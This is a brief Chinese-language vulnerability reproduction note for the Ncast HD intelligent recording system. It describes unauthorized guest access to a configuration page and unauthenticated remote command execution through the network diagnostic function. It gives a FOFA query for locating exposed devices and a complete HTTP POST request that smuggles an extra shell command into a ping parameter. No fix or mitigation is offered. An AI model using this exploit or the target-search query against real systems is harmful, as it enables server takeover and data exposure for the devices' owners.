N8-1Ncast盈可视-高清智能录播系统-InformationLeakage

漏洞描述：

广州盈可视电子科技有限公司 高清智能录播系统可通过访客身份未授权访问/manage/IPSetup.php后台功能模块，攻击者可以利用该漏洞查看后台配置信息造成信息泄露，使用网络诊断功能模块可实现未授权远程命令执行，导致服务器失陷被控。

影响版本：

Guangzhou Yingke Electronic Technology Ncast 2017
Guangzhou Yingke Electronic Technology Ncast 2007

网站图片:

网络测绘:

fofa语法：

FOFA：app=“Ncast-产品” && title==“高清智能录播系统”

漏洞复现:

访问首页，使用访客身份登录


访问/manage/IPSetup.php
未授权RCE

POST /classes/common/busiFacade.php HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0


%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20ls%22%5D%7D